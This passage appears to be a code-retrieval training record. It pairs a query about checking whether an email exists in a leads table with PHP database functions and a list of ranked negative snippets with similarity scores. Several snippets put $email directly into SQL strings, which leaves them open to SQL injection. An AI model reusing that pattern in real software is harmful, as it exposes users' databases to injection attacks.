$stmt->execute();\n $stmt->store_result();\n $num_rows = $stmt->num_rows;\n $stmt->close();\n return $num_rows > 0;\n }", "public static function existeEmail($email){\n $db = DWESBaseDatos::obtenerInstancia();\n\n $db -> ejecuta(\"SELECT count(*) as cantidad\n FROM usuario WHERE email = ?\", $email);\n $datos= $db->obtenDatos();\n if ($datos[0]['cantidad'] > 0) {\n //echo 'true' .' es verdad';\n return true;\n }else{\n //echo 'false' .' no existe';\n return false;\n }\n\n }" ]
[ "0.75763184", "0.74483395", "0.7382892", "0.73724854", "0.73680615", "0.7355228", "0.7329246", "0.73140424", "0.7308301", "0.73018205", "0.729145", "0.7284861", "0.72682244", "0.72655874", "0.7261508", "0.7249664", "0.7244944", "0.72346187", "0.7229479", "0.7210758", "0.7182531", "0.7163707", "0.7156866", "0.71484995", "0.7132461", "0.71252286", "0.71171784", "0.7107189", "0.71015245", "0.70925945", "0.70906156", "0.70873547", "0.70824707", "0.70775706", "0.70671976", "0.7065145", "0.7052373", "0.7036917", "0.70341086", "0.7023769", "0.70204496", "0.7013461", "0.70112795", "0.7011238", "0.7010252", "0.7008904", "0.70008993", "0.6999433", "0.6998373", "0.6992179", "0.6977621", "0.69697803", "0.696827", "0.69650704", "0.6954797", "0.6951943", "0.69453645", "0.6938191", "0.69359875", "0.6934957", "0.6917591", "0.6903807", "0.68909687", "0.6889123", "0.6887246", "0.6885377", "0.6880881", "0.68773127", "0.6877084", "0.68768716", "0.6866023", "0.6863421", "0.68584025", "0.68451864", "0.6835815", "0.6833115", "0.68313", "0.6828465", "0.68274623", "0.6824257", "0.68113405", "0.6808775", "0.680821", "0.68035483", "0.6793444", "0.6788144", "0.67865026", "0.67864233", "0.6783018", "0.6769701", "0.6769391", "0.676632", "0.67656773", "0.6756026", "0.6747149", "0.67367345", "0.6733924", "0.67330974", "0.672892", "0.6725764" ]
0.7246575
16
Check if an email exists in the leads table by email
function franchiseExists($email) { global $mysqli, $db_table_prefix; $stmt = $mysqli->prepare("SELECT id FROM " . $db_table_prefix . "franchise WHERE email = ? LIMIT 1"); $stmt->bind_param("s", $email); $stmt->execute(); $stmt->store_result(); $num_returns = $stmt->num_rows; $stmt->close(); if ($num_returns > 0) { return true; } else { return false; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function checkIfEmailExists($email);", "function email_exists($email)\n {\n $sql = \"\n SELECT id\n FROM {$this->_db}\n WHERE email = \" . $this->db->escape($email) . \"\n LIMIT 1\n \";\n\n $query = $this->db->query($sql);\n\n if ($query->num_rows())\n {\n return TRUE;\n }\n\n return FALSE;\n }", "function check_existing_email($email){\n $sql = \"SELECT * from mbf_user WHERE email='$email'\";\n $query = $query = $this->db->query($sql);\n if ($query->num_rows() > 0){\n return true;\n }else{\n return false;\n }\n }", "private function check_If_Email_Exists($email){\r\n\r\n // Prepare query\r\n $query = \"SELECT * FROM `users` WHERE (Fuid = '' AND Guid = '' AND email = '{$email}')\";\r\n\r\n // Send query into server\r\n $this->_db->get_Rows($query);\r\n\r\n // Return result of query\r\n // True - if find\r\n // False - in dont\r\n return ($this->_db->count() > 0 ) ? true : false;\r\n }", "public function emailExists($email){\n $query = $this->conn->query(\"SELECT id FROM user WHERE email = '$email'\");\n $result = $query->fetchAll(PDO::FETCH_ASSOC);\n if($result){\n return true;\n }\n }", "function email_exists($db, $email)\n{\n\t$sql = 'SELECT * FROM users where email=:email';\n\t$st = $db->prepare($sql);\n\t$st->execute(array(':email'=>$email));\n\t$us = $st->fetchAll();\n\treturn (count($us) >= 1);\n}", "function emailExist($dbx, string $targetEmail){\n // debug($dbx->count(\"SELECT * FROM user WHERE email = ?\",[$targetEmail]));\n return $dbx->count(\"SELECT * FROM user WHERE email = ?\",[$targetEmail]);\n}", "function emailExists($email){\r\n $sql = \"SELECT email FROM users WHERE email = '$email'\";\r\n $count = $this->q($sql)->num_rows;\r\n if ($count > 0 ){ return true; } else{ return false; }\r\n }", "function emailExists($email) {\n\t$db = DB::getInstance();\n\t$query = $db->query(\"SELECT email FROM users WHERE email = ?\",array($email));\n\t$num_returns = $query->count();\n\tif ($num_returns > 0){\n\t\treturn true;\n\t}else{\n\t\treturn false;\n\t}\n}", "function email_exist($link, $email){\n\n $exist = false;\n\n $sql = \"SELECT email FROM users WHERE email = '$email'\";\n $result = mysqli_query($link, $sql);\n\n if( $result && mysqli_num_rows($result) == 1 ){\n\n $exist = true;\n\n }\n\n return $exist;\n\n }", "public function isEmailExist($email){ \n $query = mysqli_query($this->database, \"SELECT * FROM users WHERE Gmail = '$email'\"); \n $row = mysqli_num_rows($query); \n if($row > 0){ \n return true; \n } else { \n return false; \n } \n }", "function email_exists($email)\n {\n // 1. Connect to the database.\n $link = connect();\n\n // 2. Protect variables to avoid any SQL injection\n $email = mysqli_real_escape_string($link, $email);\n\n // 3. Generate a query and return the result.\n $result = mysqli_query($link, \"\n SELECT id\n FROM tbl_users\n WHERE email = '{$email}'\n \");\n\n // 4. Disconnect from the database.\n disconnect($link);\n\n // 5. There should only be one row, or FALSE if nothing.\n return mysqli_num_rows($result) >= 1;\n }", "public function emailExists($email)\n {\n $e = \"'\".$email.\"'\";\n $qb = new QB;\n $qb->conn = static::getDB();\n $results = $qb->select('users', 'email')\n ->where('email', '=', $e)\n ->all();\n if(count($results) > 0){\n $this->errors[] = \"Sorry! This email has already been taken.\";\n }\n }", "function emailExists($email)\n\t{\n\t\tglobal $db,$db_table_prefix;\n\t\n\t\t$sql = \"SELECT Active FROM \".$db_table_prefix.\"Users\n\t\t\t\tWHERE\n\t\t\t\tEmail = '\".$db->sql_escape(sanitize($email)).\"'\n\t\t\t\tLIMIT 1\";\n\t\n\t\tif(returns_result($sql) > 0)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\t\n\t}", "function email_exists($email){\n\t\t$emailexistsql = \"SELECT email FROM users WHERE email = :email\";\n\n\t\t$stmt = $database->prepare();\n\n\t\t$stmt->bindParam(':email', $email);\n\n\t\t$stmt->execute();\n\n\t\tif ($stmt->rowCount() > 0){\n\t\t\techo(\"Email Exists\");\n\t\t\treturn true;\n\t\t}\n\t}", "function email_exists($email)\n {\n global $connection;\n $query = \"select user_email from users where user_email = '{$email}'\";\n $result = mysqli_query($connection, $query);\n confirmQuery($result);\n if(mysqli_num_rows($result) > 0)\n {\n return true;\n }\n else\n {\n return false;\n }\n }", "function leadExists($email) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"SELECT id\n\t\tFROM \" . $db_table_prefix . \"leads\n\t\tWHERE\n\t\temail = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"s\", $email);\n $stmt->execute();\n $stmt->store_result();\n $num_returns = $stmt->num_rows;\n $stmt->close();\n\n if ($num_returns > 0) {\n return true;\n } else {\n return false;\n }\n}", "public function exists($emailAddress);", "function check_if_email_is_in_use($email){\n\n $query = $this->db->get_where('tbl_doctor_account', array('dacc_email' => $email));\n return $query->num_rows();\n\n }", "function existsByEmail( $email, $oid=null);", "public static function email_exists($email) {\n $connection = DatabaseConnection::connection();\n $sql = \"SELECT user_id FROM users WHERE email=:email\";\n $statement = $connection->prepare($sql);\n $statement->execute(['email' => $email]);\n $count = count($statement->fetchAll());\n if($count == 1)\n return TRUE;\n else\n return FALSE;\n }", "function isEmailPresent($email = NULL){\t\t\t\n\t\t$query = \" SELECT id\";\n\t\t$query .= \" FROM \" . $this->config->item('ems_organisers','dbtables');\n\t\t$query .= \" WHERE email = ? \";\t\t\n\t\t$dataBindArr = array($email);\n\t\t$res = $this->db->query($query, $dataBindArr);\n\t\t$resArr = $res->result();\t\t\n\t\treturn count($resArr);\n\t}", "function DB_email_existing_check($email){\n $connection = DB_get_connection();\n $queryCheck = \"SELECT * FROM `users` WHERE Email='$email'\";\n $result = mysqli_query($connection, $queryCheck);\n if(mysqli_num_rows($result) > 0){\n \n return true;\n \n }else{\n\n return false;\n\n }\n\n}", "function isExistingEmail($email)\n\t{\n\t\t$this->db->from($this->account);\n\t\t$this->db->where('email',$email);\n\t\t$query = $this->db->get();\n\n\t\t$result = $query->result();\n\n\t\tif(!empty($result)){\n\t\t\treturn TRUE;\n\t\t} else {\n\t\t\treturn FALSE;\n\t\t}\n\t}", "public function emailExists($email) {\n\n\t $app = getApp();\n\n\t $sql = 'SELECT ' . $app->getConfig('security_email_property') . ' FROM ' . $this->table .\n\t ' WHERE ' . $app->getConfig('security_email_property') . ' = :email LIMIT 1';\n\n\t $dbh = ConnectionModel::getDbh();\n\t $sth = $dbh->prepare($sql);\n\t $sth->bindValue(':email', $email);\n\n\t if($sth->execute()) {\n\t $foundUser = $sth->fetch();\n\t if($foundUser){\n\t return true;\n\t }\n\t }\n\t return false;\n\t}", "function checkMAIL($account, $email)\n {\n while ($users = $account->fetch()) {\n if ($users['email'] == $email) {\n return true;\n }\n }\n return false;\n }", "public function emailExists($email)\n {\n $conn = Db::getInstance();\n $statement = $conn->prepare(\"select * from users where email = :email\");\n $statement->bindParam(\":email\", $email);\n $statement->execute();\n $count = $statement->rowCount();\n if ($count > 0) {\n return true;\n }\n else {\n return false;\n }\n }", "public function isEmailExist() {\n $query = $this->conn->prepare(\"SELECT * FROM subscribers WHERE email = :email\");\n $query->execute([\"email\" => $this->email]);\n $res = $query->fetch(PDO::FETCH_OBJ);\n return $res ? true : false;\n }", "function email_exists($email){\n $sql = \"SELECT id FROM users WHERE email='$email'\";\n $result = query($sql);\n\n if(row_count($result)==1){\n return true;\n }else{\n return false;\n }\n}", "function check_email_exists($email)\n\t{\n\n\t\tglobal $Oau_auth;\n\t\t$email = sanitize($email);\n\n\t\t$query = \"SELECT `student_Idn` FROM `student` WHERE `email` = '$email'\";\n\t\t$run_query = mysqli_query($Oau_auth, $query);\n\n\t\tif(mysqli_num_rows($run_query) > 0)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t}", "function search_by_email($tableName,$email) // searching employee by email\r\n {\r\n $conn = self::build_connection();\r\n $sql = \"select * from \".$tableName .\" WHERE email='{$email}'\";\r\n $result = $conn->query($sql);\r\n self::close_connection($conn);\r\n if($result->num_rows > 0){ //if value >0 true\r\n return true;\r\n }\r\n else{\r\n return false;\r\n }\r\n }", "public function exists($email) {\n $sql =<<<SQL\nSELECT * from $this->tableName\nwhere email=?\nSQL;\n $pdo = $this->pdo();\n $statement = $pdo->prepare($sql);\n $statement->execute(array($email));\n if($statement->rowCount() != 0) {\n return true;\n }\n return false;\n }", "function existEmail($email, $includeBlocked = FALSE) {\n if (trim($email) != '') {\n $sql = \"SELECT count(*)\n FROM %s\n WHERE surfer_email = '%s'\";\n $blockedClause = ($includeBlocked === FALSE) ? ' AND surfer_valid != 4' : '';\n $params = array($this->tableSurfer, $email, $blockedClause);\n if ($res = $this->databaseQueryFmtWrite($sql, $params)) {\n if ($row = $res->fetchRow()) {\n return ((bool)$row[0] > 0);\n }\n }\n }\n return FALSE;\n }", "public function existEmail($email)\n\t{\n\t\treturn $this->assistant_model->existEmail($email);\n\t}", "function email_exists($email) {\n $email = sanitize($email);\n $query = mysql_query(\"SELECT COUNT(`user_id`) FROM `users` WHERE `email` = '$email'\");\n return (mysql_result($query, 0) == 1) ? true : false;\n}", "public function email_exists() {\n\t\t\n\t\t$email = $this->input->post('users_email');\n\t\t$edit_id = $this->input->post ( 'edit_id' );\n\t\t$where = array (\n\t\t\t'users_email' => trim ( $email )\n\t\t);\n\n\t\tif ($edit_id != \"\") {\n\n\t\t\t$where = array_merge ( $where, array (\n\t\t\t\t\t\"users_id !=\" => $edit_id \n\t\t\t) );\n\t\n\t\t} \n\n\t\t$result = $this->Mydb->get_record( 'users_id', $this->table, $where );\n\t\t\n\t\tif ( !empty ( $result ) ) {\n\t\t\t$this->form_validation->set_message ( 'email_exists', get_label ( 'user_email_exist' ) );\n\t\t\treturn false;\n\t\t} else {\n\t\t\treturn true;\n\t\t}\n\t}", "function email_exist($email)\n {\n $this->db->select(EMAIL_ID);\n $this->db->from(TBL_USERS);\n $this->db->where(EMAIL_ID, $email);\n $query = $this->db->get();\n if ($query->num_rows() == 1) {\n return $query->row();\n } else {\n return false;\n }\n }", "function email_existe($email){\n\t$sql = \"SELECT id FROM usuarios WHERE email = '$email'\";\n\n\t$resultado = query($sql);\n\n\tif(contar_filas($resultado) == 1){\n\n\t\treturn true;\n\t} else{\n\t\treturn false;\n\t}\n\n}", "private function emailExists( $email ) {\n global $wpdb;\n $query = \"select author_email from \" . $wpdb->prefix . \"roni_images where author_name='\" . $email . \"';\";\n if( empty($wpdb->query( $query ) ) ) {\n return true;\n } else {\n return false;\n }\n }", "function isUserExistsByEmail($email) {\n $query = \"select * from user_profile_details WHERE email='{$email}' \";\n $result_set = mysql_query($query);\n if(isQuerySuccess($result_set)){\n\t\tif (mysql_num_rows($result_set) > 0) { \n\t\t\treturn true;\n\t\t} else { \n\t\t\treturn false;\n\t\t}\t\n\t}\t\n}", "function emailExist($link, $useremail) {\n\t\t// use escape function to avoid sql injection attacks\n\t\t$email = mysqli_real_escape_string($link, $_POST[$useremail]);\n\t\t$query = \"SELECT `email` FROM users WHERE email='\".$email.\"'\";\n\n\t\t$result = mysqli_query($link, $query);\n\t\treturn mysqli_num_rows($result);\n\t}", "public function checkIsExistEmail($email = null)\n {\n $results = $this->Fortunes\n ->find()\n ->where(['mail_address =' => $email])\n ->toArray();\n if(isset($results)) return true;\n return false;\n }", "public function _check_email_exists($email = ''){\n\t\t\n\t}", "public function emailExists( $email )\n\t{\n\t\t// database connection and sql query\n $core = Core::dbOpen();\n $sql = \"SELECT userID FROM user WHERE email = :email\";\n $stmt = $core->dbh->prepare($sql);\n $stmt->bindParam(':email', $email);\n Core::dbClose();\n \n try\n {\n if( $stmt->execute()) \n\t\t\t{\n $row = $stmt->fetch();\n if( $stmt->rowCount() > 0 ) {\t\t\t\t\n \treturn true;\n\t\t\t\t}\n }\n } catch ( PDOException $e ) {\n echo \"Search for email failed!\";\n }\n\t\t\n\t\treturn false;\n\t}", "function admin_email_exists($email){\n include 'connection.php';\n $query = \"SELECT email FROM admin_users WHERE email = '$email'\";\n $result = $connection->query($query);\n $rows = $result->num_rows;\n for($i=0; $i<$rows; $i++){\n $result->data_seek($i);\n $row = $result->fetch_array(MYSQLI_ASSOC);\n if($row['email'] == $email){\n return true;\n }\n else return false;\n }\n}", "function emailExists($email) {\n return valueExists('users', 'email', $email);\n}", "function email_exists($email,$id='')\n {\n $this->db->where('email', $email);\n if(!empty($id)){\n $this->db->where('id !=', $id);\n }\n $query = $this->db->get('users');\n if( $query->num_rows() > 0 ){ return True; } else { return False; }\n }", "function doesEmailExist($email) {\n global $db;\n\n $query = \"SELECT * FROM user WHERE email=:email\";\n $statement = $db->prepare($query);\n $statement->bindValue(':email', $email); \n $statement->execute();\n $results = $statement->fetchAll();\n $statement->closeCursor();\n return (count($results) > 0);\n}", "public function isEmailExist($email){\n\n $stmt = $this->con->prepare(\"SELECT uid FROM users WHERE email = ?\");\n $stmt->bind_param(\"s\",$email);\n $stmt->execute();\n $stmt->store_result();\n return $stmt->num_rows > 0;\n\n }", "public function emailExists ($email){\n $con = connectPDO();\n $query = $con->prepare(\"SELECT COUNT(id) FROM users WHERE email = ?\");\n $query->execute(array($email));\n $rowcount = $query->fetchColumn();\n if ($rowcount > 0) {\n return true;\n }else{\n return false;\n }\n }", "public function accountExists($email) {\r\n $this->db = new Db();\r\n \r\n $this->db->scrub($email);\r\n $query = \"SELECT UID FROM MEMBER WHERE EMAIL = '\".$email.\"'\";\r\n $results = $this->db->select($query);\r\n return(sizeof($results)>0);\r\n }", "private function isStaffExists($email) {\n $stmt = $this->conn->prepare(\"SELECT staff_id from staff WHERE email = ?\");\n $stmt->bind_param(\"s\", $email);\n $stmt->execute();\n $stmt->store_result();\n $num_rows = $stmt->num_rows;\n $stmt->close();\n return $num_rows > 0;\n }", "function MailExists($email) {\n\n\t$query = \"SELECT email FROM usuarios WHERE email = '$email'\";\n\t$result = DBExecute($query);\n\n\tif (mysqli_num_rows($result) <= 0)\n\t\treturn true;\n\telse\n\t\treturn false;\n}", "function email_exist($email) {\n\n $sql = \"SELECT id FROM users WHERE email = '$email'\";\n\n $result = query($sql);\n \n if(row_count($result) == 1) {\n return true;\n } else {\n return false;\n }\n}", "private function emailExists($email)\n {\n $query = \"SELECT manager_password,manager_name,is_accepted,admin_id\n FROM \" . $this->table . \"\n WHERE manager_email = ?\n LIMIT 0,1\";\n\n // prepare the query\n $stmt = $this->conn->prepare($query);\n $this->manager_email = $email;\n $this->manager_email = htmlspecialchars(strip_tags($this->manager_email));\n // bind value\n $stmt->bindParam(1, $this->manager_email);\n // execute the query\n $stmt->execute();\n // get number of rows\n $num = $stmt->rowCount();\n if ($num > 0) {\n //set password\n $row = $stmt->fetch(PDO::FETCH_ASSOC);\n $this->manager_password = $row['manager_password'];\n $this->manager_name = $row['manager_name'];\n $this->is_accepted = $row['is_accepted'];\n // return true because email exists in the database\n\n return true;\n }\n // return false if email does not exist in the database\n return false;\n }", "public function exists($email, $token);", "public function emailExist($email)\n {\n $sql = \" SELECT `email` FROM customer WHERE `customer_email` = '$email'\";\n\n return $this->db_query($sql);\n\n }", "function is_mail_exists($mail){\n\t\t\n\t\t$select_data = \"*\"; \n\t\t\n\t\t$where_data = array(\t// ----------------Array for check data exist ot not\n\t\t\t'email' => $mail\n\t\t);\n\t\t\n\t\t$table = \"userdetails\"; //------------ Select table\n\t\t$result = $this->get_table_where( $select_data, $where_data, $table );\n\t\t\n\t\tif( count($result) > 0 ){ // check if user exist or not\n\t\t\t\n\t\t\treturn true;\n\t\t}\n\t\t\n\t\treturn false;\n\t }", "function email_exists($email){\n include 'connection.php';\n $query = \"SELECT email FROM basicusers WHERE email = '$email'\";\n $result = $connection->query($query);\n $rows = $result->num_rows;\n for($i=0; $i<$rows; $i++){\n $result->data_seek($i);\n $row = $result->fetch_array(MYSQLI_ASSOC);\n if($row['email'] == $email){\n return true;\n }\n else return false;\n }\n}", "public function user_if_email_exists($email)\n\t{\n\t\t$sql = \"SELECT id FROM \".$this->table.\" WHERE email = ?\";\n\t\t$data = array($email);\n\t\t$query = $this->db->query($sql, $data);\n\t\treturn $query->num_rows();\n\t}", "public function email_exists($email) {\n\n\t\t\t$query = $this->db->prepare(\"SELECT COUNT(`user_id`) FROM `users` WHERE `email`= ?\");\n\t\t\t$query->bindValue(1, $email);\n\t\t\n\t\t\ttry{\n\n\t\t\t\t$query->execute();\n\t\t\t\t$rows = $query->fetchColumn();\n\n\t\t\t\tif($rows == 1){\n\t\t\t\t\treturn true;\n\t\t\t\t}else{\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t} catch (PDOException $e){\n\t\t\t\tdie($e->getMessage());\n\t\t\t}\n\n\t\t}", "function admin_check_email_exists($email)\n\t{\n\n\t\tglobal $Oau_auth;\n\t\t$email = sanitize($email);\n\n\t\t$query = \"SELECT `admin_Idn` FROM `administrator` WHERE `email` = '$email'\";\n\t\t$run_query = mysqli_query($Oau_auth, $query);\n\n\t\tif(mysqli_num_rows($run_query) > 0)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t}", "public function emailExists($email='') {\n\t\t$checkEmail = check($email) ? $email : $this->_email;\n\t\tif(!check($checkEmail)) return;\n\t\t$result = $this->db->queryFetchSingle(\"SELECT \"._CLMN_EMAIL_.\" FROM \"._TBL_MI_.\" WHERE \"._CLMN_EMAIL_.\" = ?\", array($checkEmail));\n\t\tif(!is_array($result)) return;\n\t\treturn true;\n\t}", "function check_exists_email($email){\n /* Select 'users' table on database */\n $this->db->select('email');\n $this->db->from('users');\n $this->db->where('email', $email);\n $result = $this->db->get();\n \n if($result->num_rows() >0){\n /*Username Exists*/\n return TRUE;\n } else {\n /*Username does not exist*/\n return FALSE;\n }\n }", "public function emailExists($email)\n {\n global $db_conn;\n $sql = \"SELECT id FROM users WHERE email = '{$email}'\";\n $result = $db_conn->query($sql);\n\n if ($result->num_rows > 0) {\n $_SESSION['error_msg'][]\n = 'Escolha outro E-mail, este já encontra-se em uso.';\n return true;\n }\n\n return false;\n }", "public function hasByEmail(Email $email): bool\n {\n }", "Public Function emailExists($Email)\n\t{\n\t\t$Result = $this->_db->fetchRow('SELECT * FROM bevomedia_user WHERE email = ?', $Email);\n\t\tif(sizeOf($Result) == 0 || !$Result)\n\t\t\treturn false;\n\t\telse\n\t\t\treturn true;\n\t}", "function isEmailInList($email) {\n\t\tglobal $polarbear_db;\n\t\t$emailSafe = $polarbear_db->escape($email);\n\t\t$sql = \"SELECT count(id) AS antal FROM \" . POLARBEAR_DB_PREFIX . \"_emaillist_emails WHERE listID = '{$this->id}' AND email = '$emailSafe'\";\n\t\tglobal $polarbear_db;\n\t\t$antal = $polarbear_db->get_var($sql);\n\t\treturn (bool) $antal;\n\t}", "public function checkEmailExisting($email)\r\n\t{\r\n\t\t\r\n\t\t$query=mysql_query(\"SELECT 1 FROM tbl_users WHERE email='$email' and oauth_provider='DReview'\") or die(mysql_error());\r\n\t\t$emailCount = mysql_fetch_row($query);\r\n\t\r\n if ($emailCount >= 1)\r\n \treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\r\n\t}", "public function email_exists($email){\n\t\t$query = $this->db->prepare(\"SELECT count(`user_email`) FROM `nw_users` WHERE `user_email`= ?\");\n\t\t$query->bindValue(1, $email);\n\n\t\ttry{\n\t\t\t$query->execute();\n\t\t\t$rows = $query->fetchColumn();\n\n\t\t\tif($rows == 1){\n\n\t\t\t\treturn true;\n\n\t\t\t}else{\n\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t}catch(PDOException $e){\n\t\t\tdie($e->getMessage());\n\t\t}\n\t}", "function fb_email_exist($email)\n {\n $this->db->select('userID,emailID');\n $this->db->from(TBL_USERS);\n $this->db->where(EMAIL_ID, $email);\n $query = $this->db->get();\n if ($query->num_rows() == 1) {\n $result = $query->result();\n return $result[0];\n } else {\n return false;\n }\n }", "public function isUserExisted($email) {\r\n $result = mysqli_query($this->con,\"SELECT email from users WHERE email = '$email'\");\r\n $no_of_rows = mysqli_num_rows($result);\r\n if ($no_of_rows > 0) {\r\n // user existed \r\n return true;\r\n } else {\r\n // user not existed\r\n return false;\r\n }\r\n }", "private function emailInUse( $email, $id )\n\t{\n\t\t$stmt = $this->connection->prepare('SELECT id FROM ' . Configure::get('database/prefix') . 'accounts WHERE email_hash = :email LIMIT 1');\n\t\t$stmt->bindValue(':email', $email, PDO::PARAM_STR);\n\t\t$stmt->execute();\n\t\t$data = $stmt->fetch(PDO::FETCH_ASSOC);\n\t\t$stmt->closeCursor();\n\n\t\tif( !empty($data) && $data['id'] != $id )\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}", "public function emailExiste($email){\n\t\t$query = \"SELECT * FROM `funcionarios` WHERE email = $email\";\n\t\t$con = conn();\n\t\t$row = mysqli_query($con,$query);\t\t\n\t\tmysqli_close($con);\n\t\t\n\t\tif(mysqli_num_rows($row) > 0){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}", "public function check_email_exist($email)\n\t{\n\t\t$query = $this->db->get_where('users', array('email' => $email));\n\t\tif($query->num_rows() > 0) \n { \n return true; \n } \n else \n { \n return false; \n } \n\t}", "function emailExists($email) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"SELECT active\n\t\tFROM \" . $db_table_prefix . \"users\n\t\tWHERE\n\t\temail = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"s\", $email);\n $stmt->execute();\n $stmt->store_result();\n $num_returns = $stmt->num_rows;\n $stmt->close();\n\n if ($num_returns > 0) {\n return true;\n } else {\n return false;\n }\n}", "function emailExists(){\n\t\t\t\t \n\t\t\t\t // query to check if email exists\n\t\t\t\t $query = \"SELECT rep_id, rep_name, rep_surname, rep_pwd, rep_email\n\t\t\t\t FROM \" . $this->table . \"\n\t\t\t\t WHERE rep_email = :rep_email\n\t\t\t\t LIMIT 0,1\";\n\t\t\t\t \n\t\t\t\t // prepare the query\n\t\t\t\t $stmt = $this->conn->prepare($query);\n\t\t\t\t \n\t\t\t\t // sanitize\n\t\t\t\t $this->rep_email=htmlspecialchars(strip_tags($this->rep_email));\n\t\t\t\t \n\t\t\t\t // bind given email value\n\t\t\t\t $stmt->bindParam(':rep_email', $this->rep_email);\n\t\t\t\t \n\t\t\t\t // execute the query\n\t\t\t\t $stmt->execute();\n\t\t\t\t \n\t\t\t\t // get number of rows\n\t\t\t\t $num = $stmt->rowCount();\n\t\t\t\t \n\t\t\t\t // if email exists, assign values to object properties for easy access and use for php sessions\n\t\t\t\t if($num>0){\n\t\t\t\t \n\t\t\t\t // get record details / values\n\t\t\t\t $row = $stmt->fetch(PDO::FETCH_ASSOC);\n\t\t\t\t \n\t\t\t\t // assign values to object properties\n\t\t\t\t $this->rep_id = $row['rep_id'];\n\t\t\t\t $this->rep_name = $row['rep_name'];\n\t\t\t\t $this->rep_surname = $row['rep_surname'];\n\t\t\t\t $this->rep_pwd = $row['rep_pwd'];\n\t\t\t\t $this->rep_email = $row['rep_email'];\n\t\t\t\t \n\t\t\t\t // return true because email exists in the database\n\t\t\t\t return true;\n\t\t\t\t }\n\t\t\t\t \n\t\t\t\t // return false if email does not exist in the database\n\t\t\t\t return false;\n\t\t\t\t}", "private function isUserExists($email) {\n $stmt = $this->conn->prepare(\"SELECT id FROM app_users WHERE email = ?\");\n $stmt->bind_param(\"s\", $email);\n $stmt->execute();\n $stmt->store_result();\n $num_rows = $stmt->num_rows;\n $stmt->close();\n return $num_rows > 0;\n }", "static function email_available($email) {\n global $con;\n $sql = \"SELECT COUNT(`id`) AS 'count' FROM `user` WHERE `email` LIKE '\".$email.\"';\";\n $query = mysqli_query($con, $sql);\n $count = mysqli_fetch_object($query)->count;\n if ($count == 0) {\n return TRUE;\n } else {\n return FALSE;\n }\n }", "public function exist_email()\r\n {\r\n $email = $this->input->post('email');\r\n \r\n $this->load->model('frontend/user_model');\r\n \r\n $record = $this->user_model->select('COUNT(id) as total')->find_by(array('email' => $email));\r\n \r\n if ($record->total == 0)\r\n echo false;\r\n else\r\n echo true; \r\n }", "function check_email_duplicate(){\n $this->SQL = \"SELECT email FROM users\"\n . \" WHERE email = '\" . $this->params['email'] . \"';\" ;\n \n \n $this->selecet_query();\n return $this->results;\n \n }", "function isUniqueEmail($email,$mysqli){\n\t$sql = \"SELECT * FROM all_users WHERE Email_address='$email'\";\n\t$result = $mysqli->query($sql);\n\tif ($result->num_rows>0){\n\t\treturn false;\n\t}\n\telse return true;\n}", "public static function doesEmailExist($email) {\n $usersArray = User::model()->findAll( 'email=:email', array (\n 'email' => $email \n ) );\n return sizeof( $usersArray ) > 0;\n }", "private function isUserExists($email) {\n $stmt = $this->con->prepare(\"SELECT id from users WHERE email = ?\");\n $stmt->bind_param(\"s\", $email);\n $stmt->execute();\n $stmt->store_result();\n $num_rows = $stmt->num_rows;\n $stmt->close();\n return $num_rows > 0;\n }", "public function userExists($email) {\r\n $query = 'SELECT 1 FROM usermanagement.users WHERE email=\\'' . pg_escape_string($email) . '\\'';\r\n $results = $this->dbDriver->fetch($this->dbDriver->query($query));\r\n return !empty($results);\r\n }", "function isUserExisted($email) {\n $result = mysql_query(\"SELECT email from users WHERE email = '$email'\",$first);\n $no_of_rows = mysql_num_rows($result);\n if ($no_of_rows > 0) {\n // user existed \n return true;\n } else {\n // user not existed\n return false;\n }\n }", "public function isUserEmilExisted($email) {\n $result = mysql_query(\"SELECT * from users WHERE email = '$email'\");\n $no_of_rows = mysql_num_rows($result);\n if ($no_of_rows > 0) {\n // user email existed \n return true;\n } else {\n // user email not existed\n return false;\n }\n }", "public function isUserExisted($email) {\n $stm = $this->db->prepare(\"SELECT email FROM users WHERE email=?\");\n $stm->execute(array($email));\n $user=$stm->fetch(PDO::FETCH_OBJ);\n if($user!=null){\n return true;\n }else{\n false;\n }\n }", "public function check_email_existence() {\n\t\t$email = $_GET['email'];\n\t\t$checkExistEmail = $this->User->find('count', array('conditions'=>array('User.email' => $email)));\n\t\techo $checkExistEmail;\n\t\texit();\n\t}", "public function is_email_existed($email)\n {\n $query = $this->db->get_where('users', array('email' => $email));\n return ($query->num_rows() > 0);\n }", "public function userExists($email){\r\n\r\n\t\t$this->stmt = $this->db->prep(\"SELECT email FROM Users WHERE email=:email\");\r\n\t\t$this->stmt->bindParam(':email', $email);\r\n\t\t$this->stmt->execute();\r\n\t\t$email_check = $this->stmt->fetch(PDO::FETCH_ASSOC);\r\n\r\n\t\t//comparing given email to what was fetched from the database\r\n\t\tif($email == $email_check[\"email\"]){\r\n\t\t\treturn true;\r\n\t\t}\r\n\r\n\t\treturn false;\r\n\t}", "function checkExistingEmail($clientEmail){\n $db = acmeConnect();\n $sql = 'SELECT clientEmail FROM clients WHERE clientEmail = :email';\n $stmt = $db->prepare($sql);\n $stmt->bindValue(':email', $clientEmail, PDO::PARAM_STR);\n $stmt->execute();\n $matchEmail = $stmt->fetch(PDO::FETCH_NUM);\n $stmt->closeCursor();\n if(empty($matchEmail)){\n return 0;\n } else {\n return 1;\n }\n}", "public function checkUserExist($email)\n {\n $sql = \"SELECT `id` FROM `user` WHERE email = '$email'\";\n $query = $this->db->prepare($sql);\n $query->execute();\n $result = $query->fetchAll();\n $count = sizeof($result);\n if ($count > 0)\n return true;\n else return false;\n }", "function user_email_exists($email){\n global $connection;\n\n $query = \"SELECT user_email FROM users WHERE user_email = '{$email}'\";\n 